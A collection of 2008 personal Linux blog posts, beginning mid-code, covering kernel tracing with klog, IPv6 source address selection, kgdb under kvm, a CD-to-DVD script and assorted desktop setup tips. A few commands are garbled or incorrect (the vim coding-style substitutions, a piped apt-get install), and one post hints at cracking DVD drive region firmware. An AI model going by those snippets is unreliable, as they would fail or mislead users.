              status -= NLMSG_ALIGN(len);
              nlmp = (struct nlmsghdr*)((char*)nlmp + NLMSG_ALIGN(len));

      }

}

Collecting trace data from Linux kernel using klog

2008-12-10T03:08:00.000-08:00

Many mechanisms exist to trace through the linux kernel code, both dynamically and statically. For example, for static tracing, one could use the markers or ftrace, and for dynamic tracing, there is kprobe, systemtap (which is built on top of kprobes). However, I was looking for a way to just dump some data from the kernel into a buffer and dump that data to the user at a later point in time. An example scenario being, while I am in the timer interrupt or in some other non-preemptible code section, I only wish to capture some timestamps, I cannot afford to do a printk from there. Also for instance, I want to instrument the scheduler code to capture timestamp information, I will be into trouble.. as, scheduler code being executed so very often, I will be bombarded with data and the depending on how much data I am collecting, the system could also become unusable.

I came across the klog kernel patch very recently. It was written by Tom Zanussi in 2005. Recently, Vaidyanathan Srinivasan made a few changes to klog, by adding the function ktrace, which makes it even more simpler to use it. Below, I describe how one could make use of this mechanism. Before we begin, note that klog is a static tracer. So, everytime you want to trace new code, the kernel will need to be recompiled.

Apply the klog patch to your kernel. This includes the changes made by Vaidy for ktrace. To trace through any code (ie, kernel routine), ktrace provides the following infrastructure:

1) Trace events (defined in include/linux/ktrace.h):

enum KTRACE_EVENT_ID {
KT_EVENT_FUNC_ENTER,
KT_EVENT_FUNC_EXIT,
KT_EVENT_INFO1,
KT_EVENT_INFO2,
KT_EVENT_INFO3,
KT_EVENT_INFO4,
KT_EVENT_ERROR,
};

2) Enumerator for the functions to be traced (include/linux/ktrace.h):

enum KTRACE_FUNC_ID {
KT_FUNC_tick_nohz_stop_sched_tick, /* 0 */
KT_FUNC_tick_nohz_restart_sched_tick, /* 1 */
};

3) Logging routines (lib/ktrace.c):

void ktrace_log2(unsigned char func, unsigned char event, uint64_t u1, uint64_t u2);
void ktrace_log4(unsigned char func, unsigned char event, uint32_t u1, uint32_t u2,
uint32_t u3, uint32_t u4);

So now, if you want to capture timestamps between the entry and exit of a routine x (assuming the routine executes in preempt disable mode), the following changes would be needed:

a) Add that function into the KTRACE_FUNC_ID,

enum KTRACE_FUNC_ID {
KT_FUNC_tick_nohz_stop_sched_tick, /* 0 */
KT_FUNC_tick_nohz_restart_sched_tick, /* 1 */
+ KT_FUNC_my_func_to_trace,
};

b) At the entry of the routine, capture the timestamp:

ktime_to_ns(start);

At the exit of the routine, make a call to ktrace_log2,

ktrace_log2(KT_FUNC_my_func_to_trace, KT_FUNC_EXIT,ktime_to_ns(now)-start, 0);

Now, whenever the routine is executed, the ktrace_log2 call will dump the information into the klog buffer. Compile and reboot into the modified kernel. Mount debugfs:

# mkdir /debug
# mount -t debugfs nodev /debug

Now run the klog.c program

# ./klog [-b subbuf-size -n n_subbufs]

The resultant trace data will be stored in ./cpu0..cpu[x] files. Remember that this data is in binary format and needs to be processed to convert into ascii. For that, a simple python program can be used. A sample python script could be as follows: (adopted from this script)

import os
import sys
import struct

# Globals
nr_cpus = 4

tracedata = []

cookedtrace = open("trace.txt", 'w')
for cpu in range(nr_cpus):
tracefile = open("cpu%d" % cpu)
while(1):
tracerecord = tracefile.read(24)
if not len(tracerecord):
break
tracerecordfields = struct.unpack("IBBBxQQ", tracerecord)
tracedata.append(tracerecordfields)
cookedtrace.write("U%-10d C%d F%X E%x %10d %10d\n" % tracerecordfields)
cookedtrace.close()

The above will generate trace.txt file, with the data in the different columsn. Further processing could be done based on the particular event type and function id, to capture more information. From the information captured, one could easily plot graphs usig gnuplot.

Understanding PER_CPU_LOCKED

2008-11-28T18:47:00.000-08:00

per_cpu variables is one of the type of synchronization primitive available in the linux kernel.

As the name suggests, it it used by those data structures that need elements equal to the number of processor available.

This helps avoid contention and faster access due to cache coherency as the element of the per_cpu data structure accessed correponds "only" to the processor on which the kernel thread is running on.This obviously means preemption be disabled before accessing the per_cpu variables.

Now, in the realtime linux kernel (PREEMPT_RT patchset) the aim is to be as preemptible as possible so as to allow high priority tasks to preempt anyone and everyone. Hence the above assumption that preemption is disabled prior to accessing per_cpu variables breaks.

This happens because, usually spinlocks are used to disable preemption but in realtime linux, all these spinlocks are converted to rt-mutexes . rt-mutexes does not disable preemption and puts the process to sleep instead of spinning.

A task put to sleep, would not know on which processor it will wake up on. Hence, a task can be preempted while accessing a per_cpu var and scheduled on another processor. The value eventually read can be corrupted or illegal.

The solution is to declare variables as PER_CPU_LOCKED (DEFINE_PER_CPU_LOCKED, DECLARE_PER_CPU_LOCKED) instead of just PER_CPU DEFINE_PER_CPU, DECLARE_PER_CPU).

This new macro, associates a per-cpu sleeping lock (rt-mutex) with the per-cpu variable. So, even if a kernel thread accessing a per-cpu variable is scheduled on another cpu, this lock will ensure that the data read is correct.

The implication of this new macro is a performance hit, as the per-cpu variable being read on one processor could well be for some other processor.

This performance hit is alright as in "realtime" we care more about "latency" and "determinism" than "overall system performance".

Installing Amarok 2 Beta/RC on Fedora 9

2008-11-26T03:35:00.000-08:00

Installing Amarok 2 Beta/RC is pretty straight forward except that the steps on the Amarok wiki are incomplete.

First you need to install cmake

# yum install cmake

After that, try compiling with

# cmake -DCMAKE_INSTALL_PREFIX=`kde4-config --prefix` -DCMAKE_BUILD_TYPE=debugfull

On a typical Fedora 9 setup, you'd instantly hit errors. Thats because multiple devel packages are missing.

# yum install -y kdelibs phonon* libgpod-devel prce

Another package that needs to be installed is libtags. Installing it via yum didnot solve the problem for me. So I had to download the code and install it from here
You will need libmtp. But the ones available in Fedora 9 won't help. Take ones from Fedora 10 repo from here and here

During make i hit a problem, amarok couldn't file libprce and libprceposix, even though they were installed.

# ln -s /usr/lib/libpcreposix.so.0 /usr/lib/libpcreposix
# ln -s /lib/libpcre.so.0 /usr/lib/libpcre.so

Phew!
After all of this, trying compiling amarok again.This time everything should go smooth.
Then do a make and make install.
The make step takes a lot of time.
You should be all set to use the latest and greatest Music Player i.e Amarok 2 RC1 (pun intended!)

The easy way to do this just install the rpm. Grab the beta rpm from here

# yum localinstall amarok-1.90-1.fc9.i386.rpm

The above will resolve all the necessary dependencies and install amarok 2 beta 1

Custom Search in Firefox

2008-11-16T05:55:00.000-08:00

Firefox allows users to custom search (Top Right Corner) certain websites which have built in search capabilities like Wikipedia, Amazon etc.

How does one go about adding a custom search to a site without inherent search capabilities like eg. lkml.org ?

Assuming you are in your home directory.

[cheezo@phaedrus ~]$ pwd
/home/cheezo
[cheezo@phaedrus ~]$ cd `find .mozilla/ -name 'searchplugins' `

[cheezo@phaedrus searchplugins]$ ls
goosh.xml imdb.xml linkedin.xml lkml.xml

Here there are already some xml files for those custom search engines.
lkml.xml is the file of our interest, lets have a look

[cheezo@phaedrus searchplugins]$ cat lkml.xml

<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
<ShortName>Google</ShortName>
<Description>Google Search
<InputEncoding>UTF-8
<Url type="application/x-suggestions+json" method="GET" template="http://www.google.com/custom?sitesearch=lkml.org&;client=firefox&hl={moz:locale}&q={searchTerms}"/>
<Url type="text/html" method="GET" template="http://www.google.com/search">
<Param name="q" value="{searchTerms}"/>
<Param name="ie" value="utf-8"/>
<Param name="oe" value="utf-8"/>
<Param name="aq" value="t"/>

<Param name="rls" value="{moz:distributionID}:{moz:locale}:{moz:official}"/>
<MozParam name="client" condition="defaultEngine" trueValue="firefox-a" falseValue="firefox"/>
</Url>
<SearchForm>http://www.google.com/firefox
</SearchPlugin>

On the 5th line, we have template="http://www.google.com/custom?sitesearch=site_name". Here site_name = lkml.org. Incase you want to search any other site, replace site_name with that site.

Other terms are self-explanatory.
To ensure a new search engine option shows in Firefox; Firefox needs to be rebooted.

Note:This is my first post which experiments with Cascading Style Sheets (CSS).

Finding out processor topology

2008-11-15T01:01:00.000-08:00

The other day Varun and I were discussing about how we could find out the system multi-threaded/multi-core topology. We looked at /proc/cpuinfo and got our answer. So the following fields in the cpuinfo file would need to be consulted to understand the topology of the system:

physical id: physical package id of the CPU

siblings: number of processors, present in the same physical package. This counts both hardware threads and cores

core id: Core id of the processor

cpu cores: number of cores in the physical package

Also, the flags field contains a flag called "ht", to indicate if hardware multi-threading is supported by the processor

So, if for a physical package, the number of siblings is equal to the number of cores and both are greater than 2, it would mean that it has multiple cores and does not support hardware threads. If the number of siblings is greater than 2 but the number of cores is one, then that would imply that there is only a single core in one package and that there is support for hardware threads. Some systems could have processors that are both, multi-threaded and ulti-core. For these, the number of siblings and the number of cores in a physical package would be more than one.

The topology information can be very useful. It can be used to bind certain application or kernel threads, and/or irqs to particular cpus, to improve throughput by reducing resource contention and aid the scheduler in making better load balancing decisions.

Funny Pull Request @ netdev

2008-11-04T19:31:00.000-08:00

From: "John W. Linville" 
Date: Fri, 31 Oct 2008 19:37:35 -0400

> Here is a spooky Halloween pull request for wireless bits intended for
> 2.6.29 -- Boo!  Are you scared?


Best pull request ever  :-)

> There is a ton of stuff here.  The good news is that it has been cooking
> in wireless-testing for a while and it seems OK.  :-)   There are some
> warning in the build like "‘__IEEE80211_CONF_SHORT_SLOT_TIME’ is
> deprecated".  Don't worry, I already have more patches cooking in
> wireless-testing that will take care of those warnings in the next
> round.
> 
> Please let me know if there are problems!


Pulled, thanks a lot!

Adding New Users To vsftpd

2008-09-16T01:40:00.000-07:00

I found it rather strange that there arent any good tutorial that can explain how to add new users to vftpd. Google gives few results but most of them are trial and error method. So i decided to write this post after spending 1 hr trying to accomplish this simple task.

#edit /etc/vsftpd.conf or /opt/etc/vsftpd.conf
Open the vsftpd.conf file and search for chroot_list_enable=YES
Make sure it is YES. Do the same for the following variables
chroot_list_file=/etc/vsftpd.chroot_list or /opt/etc/vsftpd.chroot_list
chroot_list_enable=YES
Save and close the file

Create vsftpd.chroot_list in /etc/ or /opt/etc/
Add the username you want to export to ftp.
IMP: The user must already be a system user with a valid passwd. You must be able to find /home/
If the user you want to add is not a system user then create that user first before editing the above file.
#adduser
#passwd

Restart the vsftpd server using /etc/init.d/vsftpd restart or service vsftpd restart
Now you can log into ftp using the new user.

Toggling Bluetooth in IBM/Lenovo Thinkpads

2008-09-11T02:34:00.000-07:00

Toggling the Bluetooth device on/off is very easy on IBM/Lenovo Thinkpads

$cat /proc/acpi/ibm/bluetooth
status: disabled
commands: enable, disable
The following commands active and deactivate bluetooth.

$echo "enable" > /proc/acpi/ibm/bluetooth

$echo "disable" > /proc/acpi/ibm/bluetooth

This works for both Fedora and Ubuntu.

Setting fonts for gnuplot

2008-09-11T02:31:00.000-07:00

Gnuplot is very useful tool to plot graphs and other related things.
There are plently of tutorials and how-tos everywhere.

One issue i faced while generating png images was changing fonts.

I wanted to change the font type to "vera" and increase the size.

First check if this font is installed.

$yum install bitstream-vera-font

Search for where it is installed

$rpm -ql bitstream-vera-font

/usr/share/fonts/bitstream-vera

$export GDFONTPATH=/usr/share/fonts/bitstream-vera

Now in either on the gnuplot terminal or your script file just add this.

set terminal png truecolor nocrop enhanced font Vera 20

Default Address Selection Part 2

2008-07-26T04:54:00.000-07:00

Finally i was able to find time to finish off the long awaited squeal. In this article i would like to give an insight into kernel algorithm implementation of the same. The diagrams in this article are personally drawn by me using primitive tools :-). Please ignore the poor quality.

So before we proceed i would like to alert the readers that i would not be covering the full address selection algorithm. The Default Address Selection is mainly divided into

Source Address Selection (kernel)
Destination Address Selection (glibc - getaddrinfo())

This article will mainly concentrates on source address selection done in the kernel. So we will assume that destination address selection is already done and we will concentrate on source address selection. The picture below shows a very broad flow diagram of destination address selection.

From the flow chart it is clear that destination address selection is done using glibc. The reason for this is the fact that an application must decide on destination address before it hits the network stack. For example, a browser (app) can either connect via an ip address or via a internet address (google.com) which has to be resolved using DNS. If its the later case then there are chances that DNS request can return multiple ip addresses. If this is the case then sorting will have to be done in the dns resolution call. Once the destination address is selected the "packet framing" request hits the kernel as shown in the flow chart. The kernel then looks up the route table (forward information base [FIB]) to figure out the route to the destination address. If there is no valid entry in the table, an error is returned to the calling application stating "No Route To Host". If we hit the bullseye in the route lookup, then the kernel needs to find appropriate source address. This is done in the call fib6_rule_action(). This ends the destination address selection part.

Source Address Selection Algorithm:

In the function fib6_rule_action( ), the source address lookup function ipv6_get_saddr( ) is called. It is at this stage we start analysing the algorithm. The flow chart shown below explains the code flow.

As seen, the flow chart is divided into two small parts to make explaination easier. The algorithm starts off with initializations for type, scope and label of destination address. This is required to compare the value against the equivalent value of candidate source address. The candidate source address list refers to all the ipv6 address across all the interfaces of the system.

We now have a source address set, and from this list the correct source address has to be finalized. A scoring machanism is maintained for each address to finially pick the winner. The address with highest score will become the chosen candidate. The scores are made based on passing each rule. Each rules as per the order is explained below. Remember, as we pass on from each rule, we keep droping candidates from the candidate set, so as to eventually arrive at the right source address.

Rule 0: Localize source candidate set for destination address which is link/site-local.
This means if the destination address is either a linklocal or a site local address, then the source address must be selected from the same link as the outgoing interface. This reduces the posibility of any global address being assigned as source address for a destination address that is linklocal.

Rule 1: Prefer Same Address. If the source address is equal to the destination address, select that address as the preferred address.
Eg:
SA: 2001::1
SB: 2001::2
Dest Address : 2001::1
Select: 2001::1

Rule 2: Prefer Same Scope. Select the source address with higer scope than the destination address.
Eg:
If Scope(SA) < Scope(SB) : If Scope(SA) < Scope(D), prefer SB

Rule 3: Avoid Deprecated Address. In a group of 2 candidate source address with equal scope, one is found to be deprecated, avoid that address.
Eg:
Src Address 1 : 2001::1
Src Address 2 : 2001::2 (deprecated)
Select :: 2001::1

Rule 4: Prefer Home Address. If a candidate source address SA1 is both home and care-of address, prefer that to a candidate source address SA2 which is only a care-of address. On the other hand if SA1 is a home address and SA2 a care-of address then prefer SA1. In other words home address is given higher priority. I have not tested this case as i dont have mobile ipv6 support enabled in my kernel. Thats the reason ill skip the example in this case. If anyone has tested this let me know :-).

Rule 5: Prefer Outgoing Interface. This rule is petty straightforward. If the outgoing interface used to send to the destination address is known, the source address selection candidates must belong only to that interface. If SA is from interface eth0 and SB is from interface eth1, and the interface used to send packets to destination is eth0, then prefer SA. If the interface has multiple suitable candidates the move on the next rule.
Eg:
eth0: 2001::1 eth1: 2001::2 ;
Dest : eth0: 2002::5
Select : 2001::1

Rule 6: Prefer Label. This rule selects the source address from the candidate set based on label value. A user defined label table is maintained in the kernel via netlink to match the values. The label value of the destination address must match the label value of any of the source address candidates. If there is a match then source address is selected else the candidate set is passed on to the next rule. The label values can be modified and set as desired by the administrator using "ip" command.
Eg:
Label Table:
SrcA 2001::1 3
SrcB 2001::2 4
SrcC 2001::3 5
Dest fec0::3 4
Select : 2001::2

Rule 7: Prefer Public Address. This rule is also pretty straightforward. If SA is a public address and SB is temporary address, prefer SA. This is irrespective of the destination. The RFC states that an API must be provided to reverse this preference by the application. At the time of writing this article no such API is present in linux.
Eg:
SA fec0::1 configured by "ip -6 addr add fec0::1 dev eth0"
SB fec0::2 configured by radvd (temporary address)
Select: fec0::1

Rule 8: Prefer Longest Matching Prefix. The last rule is to match the longest prefix as possible. This is the last resort to single down the source address. From the list of source addresses the prefix matching is done to see which source has the longest prefix value similar to the destination.
Eg:
SA: 2001:3fff:2e33:6fff::1
SB: 2001:3fff:2e33:23ff::2
Dest: 2001:3fff:2e33:23ff::3
Select: 2001:3fff:2e33:23ff::2

After all the rules are passed and still a candidate source could not be selected then linux basically picks up the last address registered among the final list of potential source address list.
Eg:
SA: 2001::1
SB: 2001::2
SC: 2001::3
Select: 2001::3

NOTE: Multiple usages of SA, SB... and Src A, Dest/D refers to Source Address A/B and Destination address. Excuse me for using these representations without informing.

Script To Convert cd's to Dvd

2008-07-25T22:22:00.000-07:00

#!/bin/bash
# convert cd's into single DVD
#

#functions

iso_fn () {
disc
cp -r /tmp/cd1/.discinfo /tmp/isoimage
OUT=`cat /tmp/stdout1 | grep 1`
sed '4s/1/'$OUT'/g' /tmp/isoimage/.discinfo > /tmp/stdout2
mv -f /tmp/stdout2 /tmp/isoimage/.discinfo
cd /tmp/isoimage

echo " Enter the label for DVD"
read name
echo " Enter the name & location to store the image example /DVD1.iso"
read locate
mkisofs -v -r -T -J -V "$name" -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot \
-boot-load-size 4 -boot-info-table -o "$locate" /tmp/isoimage
echo " successfuly completed now burn the "$locate" image into DVD"
echo " Do you want to create another image [y/n]"
read -n 1 CH
if [ "$CH" -eq "y" ]; then clean ;. testlap2.sh; else echo " Try later"; fi
cd $OLDPWD
}

clean () {
umount /tmp/cd* 2> /dev/null
rm -rf /tmp/isoimage /tmp/cd* 2> /dev/null
}

disc () {

echo > /tmp/stdout1 2> /dev/null
while [ "$J" -le "$C" ]
do
if [ "$J" -eq "$C" ]; then printf "$J" >> /tmp/stdout1 ; else printf "$J," >> /tmp/stdout1; fi
let "J +=1"
done

}

sync_fn () {

E=$D
while [ "$E" -ge "$J" ]
do
rsync -rv /tmp/cd"$E"/* /tmp/isoimage
let "E -=1"
done
iso_fn
}

#starting from here
#declaration
I=1
J=1
echo " Give the appropriate source you have "
echo " 1.cdrom 2.iso images 3.clean"
read NUM
mkdir -p /tmp/isoimage
rm -rf /tmp/cd* 2>/dev/null
case $NUM in

1)echo " Enter total no of cds"
read C

while [ "$I" -le "$C" ]
do
mkdir -p /tmp/cd$I
echo " Insert the $I cd "
eject && sleep 20 && eject -t && \
dd if=/dev/cdrom of=/tmp/cd"$I".iso && \
mount -o,loop /tmp/cd"$I".iso /tmp/cd"$I" && \
let "I += 1"
done
sync_fn
;;

2)echo " Enter the total no of isoimages"
read C
D=$C
while [ "$I" -le "$C" ]
do
mkdir -p /tmp/cd$I
echo " Give the path for isoimage $I for example /misc/cd$I.iso "
read SPATH
mount -o,loop "$SPATH" /tmp/cd"$I"
let "I +=1"
done
sync_fn
;;

3)
clean
clear
echo "cleaned"
. testlap2.sh
;;

*)echo " you have pressed invalid key"
#2> /dev/null
;;

esac

Follow up to "Hardy Heron..... Ubuntu's latest!"

2008-07-22T22:12:00.000-07:00

Adding two more to the Ugly things in Hardy....

1. If the network cable is not plugged in, while start up the corresponding ethernet drivers for wired network
is not loaded. When i manually modprode it, i still don't see a eth0 interface and dmesg doesn't give any error!!

2. Suddenly, after the recent updates the sound stopped working and kmix started cribbing.
I realized that the snd-hda-intel ( sound driver for intel chipsets) was not loaded.
I had to manually modprobe it in.

This surely bad and takes Ubuntu away from being user friendly. I wonder if a naive user would be able to figure out the problem ..

Hardy Heron ... Ubuntu's latest !

2008-07-17T23:21:00.000-07:00

I installed Ubuntu latest LTS (Long Term Support) release Hardy Heron on my Thinkpad T60p. I have heard/read a lot of good, bad and ugly things about Hardy.

Here's mine.

The Good

Installation goes smooth. This is something the Ubuntu folks have mastered.
Wireless, Suspend to Ram and Hibernate work out of the box.
Earlier neither of these worked for my T60p with Atheros Wireless Card and ATI Graphics Card.
I guess the drivers improved with the kernel that shipped with Hardy.
But can't take the credit away from Ubuntu for proper packaging.
This is another thing that Ubuntu does really well.

The Bad

Why is a beta version of Firefox 3 shipped with a LTS version? Ok, the updates install the GA version of Firefox.
The only reason i see is that they expected Firefox 3 would be released very soon and a upgrade would be easier.
Seems reasonable ? For a naive Desktop user (their potential market) can't say so!
The beta version of Firefox 3 crash abruptly and / or consumes a lot of CPU and becomes slow.

$sudo apt-get install kde
This command doesn't install all essential components for kde to be setup right like knetworkmanager, dolphin, kaffeine etc.
I had to do a
$sudo apt-cache search kubuntu | sudo apt-get install -y

Is Ubuntu at fault or kde or the way the repos are organized ?

The Ugly

When i put the lid of the laptop down and lift it up, the entire gui screen get borked. The redrawing mechanism seems to be the culprit. When i switch to a another terminal and back, the gui screen comes to normal.
It took a while for me to realize this. I just kept killing the X session.

Final verdict: The Good features (which i desperately wanted) win over the rest and i am happy [:)]

Weird sudo situation

2008-06-17T03:18:00.000-07:00

Recently, I hit a weird situation where i had use sudo.
I wanted to do the following with privileges

$ sudo echo 1 > /proc/sys/kernel/panic_on_oops

The above is what anyone will try, which didn't work because it sudoes "echo 1"
not the redirection ">"

The solution is
$ sudo sh -c "echo 1 > /proc/sys/kernel/panic_on_oops"

So we create a new sudo shell and -c tells the shell to execute the command mentioned in
the string.

Removing trailing whitespaces

2008-06-16T21:29:00.000-07:00

Removing white spaces entirely from a large file can always be a pain.
Here is a simple sed command (inside vim ) that removes it in one shot

:%s/[ ^I]*$//g

NOTE: The ^I is a special character, and is generated by pressing the TAB key

vim+sed scripts to conform a file to coding standards

2008-06-16T20:46:00.000-07:00

I have created sed scripts (that run within vim) which can fix up your source code file to conform to coding-style of the kernel.

This one adds space after every comma:
:%s/,$[^ ]$/, \1/g

This one adds space before and after every +=,==
:%s/$[^ ]*$$[+=]\+=$$[^ ]*$/\1 \2 \3/g

Stay tuned for more!

Unix Dilbert!!! Just For Fun

2008-06-14T07:45:00.000-07:00

Converting DVD9 to DVD5 In Linux

2008-06-13T03:18:00.000-07:00

Iam a big movie freak. I have loads of dvd's that i share with friends. The Problem is, more often than not the dvd's tend to get scratched. So i decided that i will make a copy of all my dvd's and will share that backup copy thereby reducing the risk of my dvd's getting scratched. In india we have DVD5's (4.7 GB) available quite easily. But most of the dvd's we buy today are DVD9 format. I was on a lookout for the best tool to do the job. In windows there is a funky application called dvdshrink. On linux i found that dvdshrink does run well on wine. Iam a linux purist so i was not happy with that solution. I stumbled upon this neat application called k9copy. Its a KDE app and works absolutely well. I have not really dug into this app as it has numerous settings. For most of us the default should be good to go.

The next step is to back up the dvd. Pop in the dvd you wish to backup and watch the application read all the titles and display them as shown below.

Here one can select/deselect title set. Remember if you are not de-selecting any title set then your most likely to have the full dvd converted to DVD 5 format but at the cost of picture quality.
That it!! Now click on "Copy".

It creates you a lovely iso image that you can later burn or you can also directly burn into a dvd on the fly.

Word Of Caution : I found that this app crashes when trying to rip from rc2 protected dvd drives. The only way to get rid of the problem is to use rc1 drives. If not you need to search on the net for rc1 firmware for your drive to crack it :-)

Playing With Scribefire

2008-06-13T02:09:00.000-07:00

This is just a mock post, playing around with scribefire. It looks awesome, lets see what it can do? My buddy chirag suggested me this.

Setting up kgdb using kvm/qemu

2008-05-09T02:00:00.000-07:00

I read in the mailing list (lkml) that kgdb has been integrated into the mainline kernel. So i wanted to test it out. Those who are not familiar with kgdb read this . Few years before, we needed to patch the kernel under test and use 2 systems (target and debugger) to debug. This was a big problem and i never was keen on this way of debugging. These days with virtual guest os being common we can do the same stuff on a single machine between host and guest. Its rather simple.

I hope this tutorial will be able to help get the setup ready and working.

Stuff Iam Using:

kvm (kernel virtual machine) or qumu with kqemu
latest git kernel (2.6.25)
fedora 8

Please Note: To use kvm, you need hardware support. To check if you have hardware support
#grep '(vmx|svm)' /proc/cpuinfo
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx constant_tsc arch_perfmon bts pni monitor vmx est tm2 xtpr
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe nx constant_tsc arch_perfmon bts pni monitor vmx est tm2 xtpr

If nothing is printed then you are out of luck. You dont have hardware based virtualization.
Dont worry mate, you can always use software based emulation (qemu, kqemu). If you are using ubuntu, its as simple as doing a 'sudo apt-get install qemu kqemu'.
The kgdb support has been added to 2.6.25 onwards, so iam using the git tree. You can download vanilla kernel from kernel.org or if you want to test on older kernel you need to apply appropriate patch from kgdb website as stated above. I will not be explaining this as its already available in their website.

The first step will be to create a new vm image (guest). There are mulitiple way to do it. There are pre built FS images available on the internet that can be downloaded. I prefer to create one on my own. I have decided to install fedora 8 as my guest os using kvm. This blog explains how to do this. Since its pretty straightforward i shall not explain this any further. I have just put in steps i used to install.

Create a 5GB iamge for my new OS
#qemu-img create f8.img -f qcow2 5G

Install the new OS (qemu users can simply replace "kvm" with "qemu" in the below command)
#kvm -m 512 -cdrom /home/temp/Fedora-8-i386-DVD.iso -boot d f8.img
This will take you through the regular distro installation procedure. At this point i was faced with need to resize my image. 5GB was not enough for me. This is illustrated here .

Boot the new guest os
#kvm -no-acpi -m 500 f8.img
Done. we have a virtual OS ready.

Few Optional Steps:
These are few optional steps needed to enable networking on guest OS. Ideally to copy some files into the guest image of fedora we need to mount it. Here is the procedure for the same. If the image is of the format vmdk (vmware format) then follow this . I prefer using networking to copy data in and out of the vm image rather than mounting. The below steps will help you boot your guest os with network support. For this you need to install "vtun" package using apt-get. Then start it using 'sudo /etc/init.d/vtun start'.
Give appropriate permission. Its observed that udev alters these permission. So you need to either fix udev rules or set this permission every time.
#chmod a+rw /dev/net/tun
The rest of the procedure is beautifully described here . I just made few alterations to the script to make it work in my environment.

#!/bin/bash

# id of the user running qemu (kvm).Make sure you change it appropriately.
USERID=1002

# number of TUN/TAP devices to setup
NUM_OF_DEVICES=1

case $1 in
   start)
           modprobe tun
           /etc/init.d/vtun start
           chmod a+rw /dev/net/tun
           echo -n "Setting up bridge device br0"
           brctl addbr br0
           ifconfig br0 192.168.1.1 netmask 255.255.255.0 up
           for ((i=0; i < NUM_OF_DEVICES ; i++)); do
                   echo -n "Setting up "
                   tunctl -b -u $USERID -t qtap$i
                   brctl addif br0 qtap$i
                   ifconfig qtap$i up 0.0.0.0 promisc
           done
   ;;
   stop)
           for ((i=0; i < NUM_OF_DEVICES ; i++)); do
                   ifconfig qtap$i down
                   brctl delif br0 qtap$i
                   tunctl -d qtap$i
           done
           ifconfig br0 down
           brctl delbr br0
           /etc/init.d/vtun stop
   ;;
   *)
           echo "Usage: $(basename $0) (start|stop)"
   ;;
esac

This modified script should take care of all the problems. As a root user execute the script.
Note :Dont forget to specify the iptables rules as given in the above howto.

Now boot you guest os using:
#kvm -no-acpi -m 500 f8.img -net nic,model=rtl8139,macaddr=52:54:00:12:34:56 -net tap,ifname=qtap0,script=no
Once you guest it up, configure you network adapter to 192.168.1.x network.
#ifconfig eth0 192.168.1.2/24
#route add default gw 192.168.1.1 eth0
ping between two system to make sure its working. Thats it.
Download the latest kernel (>= 2.6.25) untar the file and do 'make menuconfig'
enable kernel hacking -> KGDB: kernel debugging with remote gdb and few additional kgdb options if required. Save and exit. Compile the new kernel and copy the bzImage and initrd.img to /boot of the guest os (fedora 8). Also copy the /lib/modules/2.6.25/ dir to the guest os using scp. Add a new entry in the /boot/grub/menu.lst of the guest os (fedora 8). Shown below is my menu.lst

The Important things to be noted is the additional arguments added to the kernel parameters.
$console kgdbwait kgdboc=ttyS1 selinux=0. These parameters will make the booting wait for gdb remote connection.

Poweroff the guest os and start again using the following options
#kvm -no-acpi -m 500 f8.img -net nic,model=rtl8139,macaddr=52:54:00:12:34:56 -net tap,ifname=qtap0,script=no $debug_args $vga_args -serial "stdio" -serial "pty"
At the time of booting this will give you the tty to which we are connected to. In my case
char device redirected to /dev/pts/5

The system boots and waits for remote connection as shown below.

As shown above the kernel booting stops at waiting for remote gdb.......
Navigate to the place where you have compiled the kernel sources in your host system and you will find a file "vmlinux" in that directory.
Do the following from a terminal in the host system
#gdb vmlinux
#target remote /dev/pts/5 --> Note: /dev/pts/5 is specific to me. In your case you would have to change your settings as per what is displayed after executing "#kvm -no-acpi ..... "as show before.

Done!!! Your are the gdb promt!!! Was'nt it easy? Happy debugging :-) .

end of reiserfs?

2008-05-01T23:43:00.000-07:00

Iam not a file system expert so i cannot comment on the standard of reiserfs, but i used it for quite sometime with opensuse. Why am i saying this......well, not sure but when i read about the murder conviction of Hans Reiser i thought its worth a mention in my blog. As i see it, reiserfs4 has been struggling to get into mainline for quite sometime. Mostly due its radical ideas which were non posix compliant , they were rejected. Now with their main developer and architect out of the picture i see this as end of the road for the revolutionary FS. Will the reiser fanboys carry on with the development of reiser4 is to be seen. Its a sad to loose a really good programmer like reiser.

Installing Ubuntu Gutsy on Presario F500

2008-05-01T23:09:00.000-07:00

Recently Leena got a new laptop [ Presario F500] . At its base, there is a 64-bit AMD Turion Processor and 1 GB RAM. To add to this there is a Wide Screen [15.4''] and Altec Lansing Speakers. But this is not good enough for Windows Vista [packed by default] to run.

Ubuntu Installs normally except certains glitches.

1. LiveCD causes the system to hang.

Once you see the splash screen of Ubuntu's main menu press F6
You will get the kernel command line, append vga=792 or vga=791 to that line and press Enter or b
Now X server should start and you will see the Ubuntu Desktop

The reason for this hack is probably because it has a widescreen display.

2. Machine during boot up.

Post Installation, your machine will hang because of the above mentioned problem.
In grub edit the kernel command line and the params mentioned above.
This may not be enough for your system to bootup. It wasn't surely enough for me.
I had to remove the params quiet and splash also.
Make these changes permanent once the system boots up by editing the /boot/grub/menu.lst .

NOTE: Removing quiet and splash, although necessary will not show any splash screen while the OS is booting. You will directly see to the login window.

3. Getting Wireless/Compiz working.

Unfortunately Wireless doesn't work out of the box.
You will need the Broadcom wireless binary driver.
Goto Menu System-> Administrator -> Restricted Driver Manager .
It will say Broadcom driver not in use. Select the checkbox associated with it .
It will ask for a link from which to download firmware . You will get it here .
Once the state changes to in use. You are successful.
Similarly to get Compiz working, select the NVidia Driver which is not is use.
It will download the driver and again once the state changes to in use. You are successful.
This will need a system reboot.

4. Nonfree Flash doesn't work in Firefox.

The non-free Adobe flash player embedded in Firefox will surely not work although package manager will say its installed, as there is no 64bit version yet.
Use gnash [ open source/free flash player] . It works just fine.
People seem to crib about java plugin for Firefox not working on 64bit boxes, but it worked fine for me.
Else just a 32-bit version of Firefox(with 32-bit plugins) . I found a useful HOWTO

References:
1. Tom On Identity
2. Ubuntu's wireless Docs

Tata Indicom v-data card on Ubuntu Linux

2008-05-01T23:06:00.000-07:00

To start using the tata indicom v-data card in ubuntu, follow these steps

1.Run this command
$sudo modprobe usbserial vendor=0x12d1 product=0x1001

2. Edit the /etc/wvdial.conf and add the following lines

$cat /etc/wvdial.conf

[Modem 0]
Modem = /dev/ttyUSB0
Baud = 115200
Dial Command = ATDT
FlowControl = Hardware (CRTSCTS)
Init1 = ATZ
[Dialer Defaults]
